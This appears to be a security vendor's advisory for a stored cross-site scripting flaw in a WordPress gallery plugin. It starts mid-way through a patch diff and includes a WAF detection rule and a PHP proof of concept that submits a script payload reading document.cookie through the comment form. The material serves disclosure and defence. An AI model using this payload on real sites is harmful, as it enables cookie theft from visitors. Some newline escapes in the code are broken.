+				$account_msg = preg_match( '#photocrati#i', wp_get_theme()->get( 'Name' ) )
+					/* translators: %s: account URL */
+					? sprintf( __( "Please download the latest version of NextGEN Pro from your <a href='%s' target='_blank'>account area</a>", 'nggallery' ), 'https://members.photocrati.com/account/' )
+					/* translators: %s: account URL */
+					: sprintf( __( "Please download the latest version of NextGEN Pro from your <a href='%s' target='_blank'>account area</a>", 'nggallery' ), 'https://www.imagely.com/account/' );
 			}
-			

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-126011
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026126011,phase:2,deny,status:403,chain,msg:'CVE-2026-126011 Stored XSS in NextGEN Gallery comment parameter',severity:'CRITICAL',tag:'CVE-2026-126011'"
  SecRule ARGS_POST:comment "@rx <script|onerror=|onload=|javascript:" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126011 - Photo Gallery, Sliders, Proofing and Themes <= 4.5.6 - Unauthenticated Stored Cross-Site Scripting via Comment Link via Thickbox Lightbox 'all_images' Context

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Submit a benign comment to get author approved (requires an initial approved comment)
// This PoC assumes the attacker's email already has an approved comment (required for auto-approval)

// Step 2: Submit malicious XSS payload in comment
$payload = '<script>alert(document.cookie);</script>';
$data = array(
    'comment_post_ID' => 1, // Post ID where gallery is embedded
    'author' => 'attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment' => $payload,
    'submit' => 'Post Comment'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302) {
    echo "Comment submitted successfully. The XSS payload will execute when a user views the gallery with Thickbox lightbox (all_images context) and the comment is displayed.n";
} else {
    echo "Failed to submit comment. HTTP code: $http_coden";
}

// Step 3: Trigger by visiting a page with the gallery (requires admin to have enabled Thickbox all_images)
// The payload executes in the victim's browser.

// Note: This PoC requires that the attacker has a previously approved comment (same email) for auto-approval.
// Also, the site must have Thickbox lightbox enabled with 'Try to apply to all images' (thumbEffectContext=all_images).
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.